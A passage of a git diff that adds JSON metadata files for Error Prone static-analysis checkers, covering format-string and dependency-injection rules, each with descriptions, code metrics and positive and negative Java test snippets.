com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public static void log(@FormatString String s, Object... args) {}\n\n public static void callLog() {\n // BUG: Diagnostic contains: extra format arguments: used 1, provided 2\n log(\"%s\", new Object(), new Object());\n }\n }" + }, + { + "description": "matches_succeedsForCompileTimeConstantFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public static void log(@FormatString String s, Object... args) {}\n\n public static void callLog() {\n final String formatString = \"%d\";\n log(formatString, Integer.valueOf(0));\n }\n }" + }, + { + "description": "matches_failsWhenExpressionGivenForFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n\n public class FormatStringTestCase {\n @FormatMethod\n static void log(String s, Object... args) {}\n\n public static String formatString() {\n return \"\";\n }\n\n public static void callLog() {\n String format = \"log: \";\n // BUG: Diagnostic contains: Format strings must be either literals or\n log(format + 3);\n // BUG: Diagnostic contains: Format strings must be either literals or\n log(formatString());\n }\n }" + }, + { + "description": "matches_failsForInvalidMethodHeaders", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n // BUG: Diagnostic contains: A method cannot have more than one @FormatString\n void log1(@FormatString String s1, @FormatString String s2) {}\n\n @FormatMethod\n // BUG: Diagnostic contains: An @FormatMethod must contain at least one String\n void log2(Object o) {}\n\n @FormatMethod\n // BUG: Diagnostic contains: Only strings can be annotated @FormatString.\n void log3(@FormatString Object o) {}\n\n // BUG: Diagnostic contains: A parameter can only be annotated @FormatString in a\n void log4(@FormatString Object o) {}\n }" + }, + { + "description": "matches_failsForIncorrectStringParameterUsedWithImplicitFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public static void log(@FormatString String s, Object... args) {}\n\n @FormatMethod\n public static void callLog1(String format, String s, Object arg) {\n // BUG: Diagnostic contains: Format strings must be compile time constants or\n log(s, arg);\n }\n\n @FormatMethod\n public static void callLog2(String s, @FormatString String format, Object arg) {\n // BUG: Diagnostic contains: Format strings must be compile time constants or\n log(s, arg);\n }\n }" + }, + { + "description": "matches_succeedsForNonParameterFinalOrEffectivelyFinalFormatStrings", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "" + }, + { + "description": "matches_failsForNonFinalParametersOrNonMatchingFinalParameters", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "" + }, + { + "description": "matches_failsForBadCallToConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public FormatStringTestCase(String s, Object... args) {}\n\n public static void createTestCase(String s, Object arg) {\n // BUG: Diagnostic contains: Format strings must be compile time constants or\n new FormatStringTestCase(s, arg);\n }\n }" + }, + { + "description": "matches_succeedsForMockitoMatchers", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "package test;\n\n import static org.mockito.ArgumentMatchers.any;\n import static org.mockito.ArgumentMatchers.eq;\n import static org.mockito.Mockito.verify;\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public void log(@FormatString String s, Object... args) {}\n\n public void callLog(String s, Object... args) {\n verify(this).log(any(String.class), eq(args));\n }\n }" + }, + { + "description": "matches_succeedsForMockitoArgumentMatchers", + "expected-problems": null, + "expected-linenumbers": [ + 368 + ], + "code": "package test;\n\n import static org.mockito.ArgumentMatchers.any;\n import static org.mockito.ArgumentMatchers.eq;\n import static org.mockito.Mockito.verify;\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n public class FormatStringTestCase {\n @FormatMethod\n public void log(@FormatString String s, Object... args) {}\n\n public void callLog(String s, Object... args) {\n verify(this).log(any(String.class), eq(args));\n }\n }" + }, + { + "description": "negative_noFormatString", + "expected-problems": null, + "expected-linenumbers": [ + 394 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.FormatMethod;\n\n public class FormatStringTestCase {\n @FormatMethod\n // BUG: Diagnostic contains: must contain at least one String parameter\n public static void log(int x, int y) {}\n\n void test() {\n log(1, 2);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/InlineFormatString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/InlineFormatString.json new file mode 100644 index 0000000..df3e6a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/InlineFormatString.json @@ -0,0 +1,94 @@ +{ + "name": "InlineFormatString", + "language": "java", + "description": "Prefer to create format strings inline, instead of extracting them to a single-use constant", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 191, + "branches": 25, + "apis": 2, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n private static final String FORMAT = \"hello %s\";\n\n void f() {\n System.err.printf(FORMAT, 42);\n }\n }\n \n\n class Test {\n void f() {\n System.err.printf(\"hello %s\", 42);\n }\n }" + }, + { + "description": "negative_multiple", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class Test {\n private static final String FORMAT = \"hello %s\";\n\n void f() {\n System.err.printf(FORMAT, 42);\n System.err.printf(FORMAT, 43);\n }\n }" + }, + { + "description": "negative_otherUsers", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "class Test {\n private static final String FORMAT = \"hello %s\";\n\n void f() {\n System.err.printf(FORMAT, 42);\n System.err.println(FORMAT);\n }\n }" + }, + { + "description": "refactoring_precondition", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n private static final String FORMAT = \"hello %s\";\n\n void f(boolean b) {\n Preconditions.checkArgument(b, FORMAT, 42);\n }\n }\n \n\n import com.google.common.base.Preconditions;\n\n class Test {\n void f(boolean b) {\n Preconditions.checkArgument(b, \"hello %s\", 42);\n }\n }" + }, + { + "description": "refactoring_formatMethod", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n abstract class Test {\n @FormatMethod\n abstract String f(String f, Object... args);\n\n @FormatMethod\n abstract String g(boolean b, @FormatString String f, Object... args);\n\n private static final String FORMAT = \"hello %s\";\n private static final String FORMAT2 = \"hello %s\";\n\n void h(boolean b) {\n f(FORMAT, 42);\n g(b, FORMAT2, 42);\n }\n }\n \n\n import com.google.errorprone.annotations.FormatMethod;\n import com.google.errorprone.annotations.FormatString;\n\n abstract class Test {\n @FormatMethod\n abstract String f(String f, Object... args);\n\n @FormatMethod\n abstract String g(boolean b, @FormatString String f, Object... args);\n\n void h(boolean b) {\n f(\"hello %s\", 42);\n g(b, \"hello %s\", 42);\n }\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "class Test {\n @SuppressWarnings(\"InlineFormatString\")\n private static final String FORMAT = \"hello %s\";\n\n void f() {\n System.err.printf(FORMAT, 42);\n }\n }" + }, + { + "description": "suppressionClass", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "@SuppressWarnings(\"InlineFormatString\")\n class Test {\n private static final String FORMAT = \"hello %s\";\n\n void f() {\n System.err.printf(FORMAT, 42);\n }\n }" + }, + { + "description": "negativeLocal", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "class Test {\n void f(String a) {\n String format = a;\n System.err.printf(format, 42);\n }\n }" + }, + { + "description": "refactoringLocal", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "class Test {\n void f() {\n String format = \"hello %s\";\n System.err.printf(format, 42);\n }\n }\n \n\n class Test {\n void f() {\n System.err.printf(\"hello %s\", 42);\n }\n }" + }, + { + "description": "multipleUses", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "class Test {\n void f() {\n String format = \"hello %s\";\n // BUG: Diagnostic contains\n System.err.printf(format, 42);\n // BUG: Diagnostic contains\n System.err.printf(format, 42);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/LenientFormatStringValidation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/LenientFormatStringValidation.json new file mode 100644 index 0000000..c9ab993 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/formatstring/LenientFormatStringValidation.json @@ -0,0 +1,62 @@ +{ + "name": "LenientFormatStringValidation", + "language": "java", + "description": "The number of arguments provided to lenient format methods should match the positional specifiers.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 109, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "tooFewArguments", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains:\n Preconditions.checkState(false, \"%s\");\n }\n }" + }, + { + "description": "tooManyArguments", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains:\n Preconditions.checkState(false, \"%s\", 1, 1);\n }\n }" + }, + { + "description": "tooManyArguments_fix", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n Preconditions.checkState(false, \"%s\", 1, 1);\n }\n }\n \n\n import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n Preconditions.checkState(false, \"%s (%s)\", 1, 1);\n }\n }" + }, + { + "description": "numericSpecifier_fix", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n Preconditions.checkState(false, \"expected %d = %d\", 1, 1);\n }\n }\n \n\n import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n Preconditions.checkState(false, \"expected %s = %s\", 1, 1);\n }\n }" + }, + { + "description": "tooManyArguments_fixWithNonLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n private static final String FOO = \"%s\";\n\n void test() {\n Preconditions.checkState(false, FOO, 1, 1);\n }\n }\n \n\n import com.google.common.base.Preconditions;\n\n class Test {\n private static final String FOO = \"%s\";\n\n void test() {\n Preconditions.checkState(false, FOO + \" (%s)\", 1, 1);\n }\n }" + }, + { + "description": "correctArguments", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import com.google.common.base.Preconditions;\n\n class Test {\n void test() {\n Preconditions.checkState(false, \"%s\", 1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnConstructors.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnConstructors.json new file mode 100644 index 0000000..df6c589 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnConstructors.json @@ -0,0 +1,30 @@ +{ + "name": "AssistedInjectAndInjectOnConstructors", + "language": "java", + "description": "@AssistedInject and @Inject should not be used on different constructors in the same class.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.assistedinject.AssistedInject;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class AssistedInjectAndInjectOnConstructorsPositiveCases {\n /**\n * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated\n * with @AssistedInject.\n */\n // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors\n public class TestClass1 {\n @javax.inject.Inject\n public TestClass1() {}\n\n @AssistedInject\n public TestClass1(int n) {}\n }\n\n /**\n * Class has a constructor annotated with @com.google.inject.Inject and another constructor\n * annotated with @AssistedInject.\n */\n // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors\n public class TestClass2 {\n @com.google.inject.Inject\n public TestClass2() {}\n\n @AssistedInject\n public TestClass2(int n) {}\n }\n\n /**\n * Class has a constructor annotated with @com.google.inject.Inject, another constructor annotated\n * with @AssistedInject, and a third constructor with no annotation.\n */\n // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors\n public class TestClass3 {\n @com.google.inject.Inject\n public TestClass3() {}\n\n @AssistedInject\n public TestClass3(int n) {}\n\n public TestClass3(String s) {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.assistedinject.AssistedInject;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class AssistedInjectAndInjectOnConstructorsNegativeCases {\n /** Class has a single constructor with no annotation. */\n public class TestClass1 {\n TestClass1() {}\n }\n\n /** Class has a constructor with a @javax.inject.Inject annotation. */\n public class TestClass2 {\n @javax.inject.Inject\n public TestClass2() {}\n }\n\n /** Class has a constructor with a @com.google.inject.Inject annotation. */\n public class TestClass3 {\n @com.google.inject.Inject\n public TestClass3() {}\n }\n\n /** Class has a constructor annotated with @AssistedInject */\n public class TestClass4 {\n @AssistedInject\n public TestClass4() {}\n }\n\n /** Class has a constructor with a @AssistedInject annotation as well as an injectable field */\n public class TestClass5 {\n @javax.inject.Inject private int n;\n\n @AssistedInject\n public TestClass5() {}\n }\n\n /**\n * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated\n * with @AssistedInject. The warning is suppressed.\n */\n @SuppressWarnings(\"AssistedInjectAndInjectOnConstructors\")\n public class TestClass6 {\n @javax.inject.Inject\n public TestClass6() {}\n\n @AssistedInject\n public TestClass6(int n) {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnSameConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnSameConstructor.json new file mode 100644 index 0000000..da85821 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AssistedInjectAndInjectOnSameConstructor.json @@ -0,0 +1,30 @@ +{ + "name": "AssistedInjectAndInjectOnSameConstructor", + "language": "java", + "description": "@AssistedInject and @Inject cannot be used on the same constructor.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.assistedinject.AssistedInject;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class AssistedInjectAndInjectOnSameConstructorPositiveCases {\n /** Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. */\n public class TestClass1 {\n // BUG: Diagnostic contains: remove\n @javax.inject.Inject\n // BUG: Diagnostic contains: remove\n @AssistedInject\n public TestClass1() {}\n }\n\n /** Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. */\n public class TestClass2 {\n // BUG: Diagnostic contains: remove\n @com.google.inject.Inject\n // BUG: Diagnostic contains: remove\n @AssistedInject\n public TestClass2() {}\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.assistedinject.AssistedInject;\n\n/**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class AssistedInjectAndInjectOnSameConstructorNegativeCases {\n /** Class has a single constructor with no annotation. */\n public class TestClass1 {\n TestClass1() {}\n }\n\n /** Class has a constructor with a @javax.inject.Inject annotation. */\n public class TestClass2 {\n @javax.inject.Inject\n public TestClass2() {}\n }\n\n /** Class has a constructor with a @com.google.injectInject annotation. */\n public class TestClass3 {\n @com.google.inject.Inject\n public TestClass3() {}\n }\n\n /** Class has a constructor annotated with @AssistedInject */\n public class TestClass4 {\n @AssistedInject\n public TestClass4() {}\n }\n\n /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */\n public class TestClass5 {\n @javax.inject.Inject\n public TestClass5(int n) {}\n\n @AssistedInject\n public TestClass5() {}\n }\n\n /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */\n public class TestClass6 {\n @com.google.inject.Inject\n public TestClass6(int n) {}\n\n @AssistedInject\n public TestClass6() {}\n }\n\n /**\n * Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. Error is\n * suppressed.\n */\n @SuppressWarnings(\"AssistedInjectAndInjectOnSameConstructor\")\n public class TestClass7 {\n @javax.inject.Inject\n @AssistedInject\n public TestClass7() {}\n }\n\n /**\n * Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. Error is\n * suppressed.\n */\n @SuppressWarnings(\"AssistedInjectAndInjectOnSameConstructor\")\n public class TestClass8 {\n @com.google.inject.Inject\n @AssistedInject\n public TestClass8() {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AutoFactoryAtInject.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AutoFactoryAtInject.json new file mode 100644 index 0000000..acce513 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/AutoFactoryAtInject.json @@ -0,0 +1,30 @@ +{ + "name": "AutoFactoryAtInject", + "language": "java", + "description": "@AutoFactory and @Inject should not be used in the same type.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.auto.factory.AutoFactory;\n import javax.inject.Inject;\n\n class AssistedInjectAndInjectOnSameConstructorPositiveCases {\n\n @AutoFactory\n static class HasAutoFactoryOnClass {\n // BUG: Diagnostic contains: remove\n @Inject\n HasAutoFactoryOnClass() {}\n }\n\n @AutoFactory\n static class UsesGuiceInject {\n // BUG: Diagnostic contains: remove\n @com.google.inject.Inject\n UsesGuiceInject() {}\n }\n\n static class HasAutoFactoryOnConstructor {\n // BUG: Diagnostic contains: remove\n @Inject\n @AutoFactory\n HasAutoFactoryOnConstructor() {}\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.auto.factory.AutoFactory;\n import javax.inject.Inject;\n\n class AutoFactoryAtInjectNegativeCases {\n\n @AutoFactory\n static class AtInjectOnInnerType {\n static class InnerType {\n @Inject\n InnerType() {}\n }\n }\n\n static class AutoFactoryOnInnerType {\n @Inject\n AutoFactoryOnInnerType() {}\n\n @AutoFactory\n static class InnerType {}\n }\n\n static class OnDifferentConstructors {\n @Inject\n OnDifferentConstructors(String string) {}\n\n @AutoFactory\n OnDifferentConstructors(Object object) {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/CloseableProvides.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/CloseableProvides.json new file mode 100644 index 0000000..d20f1f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/CloseableProvides.json @@ -0,0 +1,30 @@ +{ + "name": "CloseableProvides", + "language": "java", + "description": "Providing Closeable resources makes their lifecycle unclear", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.Provides;\n import java.io.Closeable;\n import java.io.PrintWriter;\n import java.nio.charset.StandardCharsets;\n import javax.inject.Singleton;\n\n /**\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class CloseableProvidesPositiveCases {\n\n static class ImplementsClosable implements Closeable {\n public void close() {\n // no op\n }\n }\n\n @Provides\n // BUG: Diagnostic contains: CloseableProvides\n ImplementsClosable providesImplementsClosable() {\n return new ImplementsClosable();\n }\n\n @Provides\n @Singleton\n // BUG: Diagnostic contains: CloseableProvides\n PrintWriter providesPrintWriter() throws Exception {\n return new PrintWriter(\"some_file_path\", StandardCharsets.UTF_8.name());\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.Provides;\n import javax.inject.Singleton;\n\n /**\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class CloseableProvidesNegativeCases {\n\n static class DoesNotImplementsClosable {\n public void close() {\n // no op\n }\n }\n\n @Provides\n DoesNotImplementsClosable providesDoesNotImplementsClosable() {\n return new DoesNotImplementsClosable();\n }\n\n @Provides\n @Singleton\n Object providesObject() {\n return new Object();\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnConstructorOfAbstractClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnConstructorOfAbstractClass.json new file mode 100644 index 0000000..74bcf55 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnConstructorOfAbstractClass.json @@ -0,0 +1,54 @@ +{ + "name": "InjectOnConstructorOfAbstractClass", + "language": "java", + "description": "Constructors on abstract classes are never directly @Inject'ed, only the constructors of their subclasses can be @Inject'ed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import javax.inject.Inject;\n\n abstract class Foo {\n // BUG: Diagnostic contains:\n @Inject\n Foo() {}\n }" + }, + { + "description": "guiceConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import com.google.inject.Inject;\n\n abstract class Foo {\n // BUG: Diagnostic contains:\n @Inject\n Foo() {}\n }" + }, + { + "description": "abstractClassInConcreteClass", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import javax.inject.Inject;\n\n class Bar {\n abstract static class Foo {\n // BUG: Diagnostic contains:\n @Inject\n Foo() {}\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import javax.inject.Inject;\n\n class Foo {\n @Inject\n Foo() {}\n }" + }, + { + "description": "concreteClassInAbstractClass", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import javax.inject.Inject;\n\n abstract class Bar {\n static class Foo {\n @Inject\n Foo() {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnMemberAndConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnMemberAndConstructor.json new file mode 100644 index 0000000..0db729a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectOnMemberAndConstructor.json @@ -0,0 +1,30 @@ +{ + "name": "InjectOnMemberAndConstructor", + "language": "java", + "description": "Members shouldn't be annotated with @Inject if constructor is already annotated @Inject", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 16, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "import javax.inject.Inject;\n\npublic class InjectOnMemberAndConstructorPositiveCases {\n @Inject private final String stringFieldWithInject;\n @Inject private final Long longFieldWithInject;\n private final String stringFieldWithoutInject;\n\n @Inject\n public InjectOnMemberAndConstructorPositiveCases(\n String stringFieldWithInject, String stringFieldWithoutInject, Long longFieldWithInject) {\n this.stringFieldWithInject = stringFieldWithInject;\n this.stringFieldWithoutInject = stringFieldWithoutInject;\n this.longFieldWithInject = longFieldWithInject;\n }\n}\n\n\nimport javax.inject.Inject;\n\npublic class InjectOnMemberAndConstructorPositiveCases {\n private final String stringFieldWithInject;\n private final Long longFieldWithInject;\n private final String stringFieldWithoutInject;\n\n @Inject\n public InjectOnMemberAndConstructorPositiveCases(\n String stringFieldWithInject, String stringFieldWithoutInject, Long longFieldWithInject) {\n this.stringFieldWithInject = stringFieldWithInject;\n this.stringFieldWithoutInject = stringFieldWithoutInject;\n this.longFieldWithInject = longFieldWithInject;\n }\n}" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import javax.inject.Inject;\n\n /**\n * Negative test cases for {@link InjectOnMemberAndConstructor} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class InjectOnMemberAndConstructorNegativeCases {\n\n public class InjectOnConstructorOnly {\n private final String stringFieldWithoutInject;\n\n @Inject\n public InjectOnConstructorOnly(String stringFieldWithoutInject) {\n this.stringFieldWithoutInject = stringFieldWithoutInject;\n }\n }\n\n public class InjectOnFieldOnly {\n @Inject private String stringFieldWithInject;\n }\n\n public class MixedInject {\n @Inject private String stringFieldWithInject;\n\n @Inject\n public MixedInject() {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectedConstructorAnnotations.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectedConstructorAnnotations.json new file mode 100644 index 0000000..01e63fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/InjectedConstructorAnnotations.json @@ -0,0 +1,46 @@ +{ + "name": "InjectedConstructorAnnotations", + "language": "java", + "description": "Injected constructors cannot be optional nor have binding annotations", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 11, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.BindingAnnotation;\n import com.google.inject.Inject;\n\n /** A positive test case for InjectedConstructorAnnotation. */\n public class InjectedConstructorAnnotationsPositiveCases {\n\n /** A binding annotation. */\n @BindingAnnotation\n public @interface TestBindingAnnotation {}\n\n /** A class with an optionally injected constructor. */\n public class TestClass1 {\n @Inject(optional = true)\n // BUG: Diagnostic contains:\n public TestClass1() {}\n }\n\n /** A class with an injected constructor that has a binding annotation. */\n public class TestClass2 {\n @TestBindingAnnotation\n @Inject\n // BUG: Diagnostic contains:\n public TestClass2() {}\n }\n\n /** A class whose constructor is optionally injected and has a binding annotation. */\n public class TestClass3 {\n @TestBindingAnnotation\n @Inject(optional = true)\n // BUG: Diagnostic contains:\n public TestClass3() {}\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.BindingAnnotation;\n import com.google.inject.Inject;\n\n /** A negative test case for InjectedConstructorAnnotation. */\n public class InjectedConstructorAnnotationsNegativeCases {\n\n private @interface TestAnnotation {}\n\n @BindingAnnotation\n private @interface TestBindingAnnotation {}\n\n /** A class with a constructor that has no annotations. */\n public class TestClass1 {\n public TestClass1() {}\n }\n\n /** A class with a constructor that has a binding Annotation. */\n public class TestClass2 {\n @TestBindingAnnotation\n public TestClass2() {}\n }\n\n /** A class with an injected constructor. */\n public class TestClass3 {\n @Inject\n public TestClass3() {}\n }\n\n /** A class with an injected constructor that has a non-binding annotation. */\n public class TestClass4 {\n @Inject\n @TestAnnotation\n public TestClass4() {}\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.BindingAnnotation;\n import com.google.inject.Inject;\n\n /** A negative test case for InjectedConstructorAnnotation. */\n public class InjectedConstructorAnnotationsNegativeCases {\n\n private @interface TestAnnotation {}\n\n @BindingAnnotation\n private @interface TestBindingAnnotation {}\n\n /** A class with a constructor that has no annotations. */\n public class TestClass1 {\n public TestClass1() {}\n }\n\n /** A class with a constructor that has a binding Annotation. */\n public class TestClass2 {\n @TestBindingAnnotation\n public TestClass2() {}\n }\n\n /** A class with an injected constructor. */\n public class TestClass3 {\n @Inject\n public TestClass3() {}\n }\n\n /** A class with an injected constructor that has a non-binding annotation. */\n public class TestClass4 {\n @Inject\n 